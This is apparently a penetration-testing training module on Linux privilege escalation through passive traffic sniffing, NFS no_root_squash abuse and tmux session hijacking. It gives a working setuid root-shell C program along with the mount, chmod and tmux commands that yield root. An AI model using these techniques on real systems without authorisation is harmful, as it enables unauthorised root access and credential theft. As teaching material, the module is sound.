Miscellaneous Techniques
Passive Traffic Capture
If tcpdump
is installed, unprivileged users may be able to capture network traffic, including, in some cases, credentials passed in cleartext. Several tools exist, such as net-creds and PCredz that can be used to examine data.
Weak NFS Privileges
neutron@kali[/kali]$ showmount -e 10.129.2.12
Export list for 10.129.2.12:
/tmp *
/var/nfs/general *
When an NFS volume is created, various options can be set:
Option | Description |
---|---|
root_squash |
If the root user is used to access NFS shares, it will be changed to the nfsnobody user, which is an unprivileged account. Any files created and uploaded by the root user will be owned by the nfsnobody user, which prevents an attacker from uploading binaries with the SUID bit set. |
no_root_squash |
Remote users connecting to the share as the local root user will be able to create files on the NFS server as the root user. This would allow for the creation of malicious scripts/programs with the SUID bit set. |
xyz@NIX02:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)
For example, we can create a SETUID binary that executes /bin/sh
using our local root user. We can then mount the /tmp
directory locally, copy the root-owned binary over to the NFS server, and set the SUID bit.
First, create a simple binary, mount the directory locally, copy it, and set the necessary permissions.
xyz@NIX02:~$ cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
xyz@NIX02:/tmp$ gcc shell.c -o shell
xyz@NIX02:/tmp$ sudo mount -t nfs 10.129.2.12:/tmp /mnt
xyz@NIX02:/tmp$ cp shell /mnt
xyz@NIX02:/tmp$ chmod u+s /mnt/shell
When we switch back to the host's low privileged session, we can execute the binary and obtain a root shell.
xyz@NIX02:/tmp$ ls -la
total 68
drwxrwxrwt 10 root root 4096 Sep 1 06:15 .
drwxr-xr-x 24 root root 4096 Aug 31 02:24 ..
drwxrwxrwt 2 root root 4096 Sep 1 05:35 .font-unix
drwxrwxrwt 2 root root 4096 Sep 1 05:35 .ICE-unix
-rwsr-xr-x 1 root root 16712 Sep 1 06:15 shell
<SNIP>
xyz@NIX02:/tmp$ ./shell
root@NIX02:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(xyz)
Hijacking Tmux Sessions
Terminal multiplexers such as tmux can be used to allow multiple terminal sessions to be accessed within a single console session. When not working in a tmux
window, we can detach from the session, still leaving it active (i.e., running an nmap
scan). For many reasons, a user may leave a tmux
process running as a privileged user, such as root set up with weak permissions, and can be hijacked. This may be done with the following commands to create a new shared session and modify the ownership.
xyz@NIX02:~$ tmux -S /shareds new -s debugsess
xyz@NIX02:~$ chown root:devs /shareds
If we can compromise a user in the dev
group, we can attach to this session and gain root access.
Check for any running tmux
processes.
xyz@NIX02:~$ ps aux | grep tmux
root 4806 0.0 0.1 29416 3204 ? Ss 06:27 0:00 tmux -S /shareds new -s debugsess
Confirm permissions
xyz@NIX02:~$ ls -la /shareds
srw-rw---- 1 root devs 0 Sep 1 06:27 /shareds
Review our group membership
xyz@NIX02:~$ id
uid=1000(xyz) gid=1000(xyz) groups=1000(xyz),1011(devs)
Attach to the tmux
session and confirm root privileges
xyz@NIX02:~$ tmux -S /shareds
id
uid=0(root) gid=0(root) groups=0(root)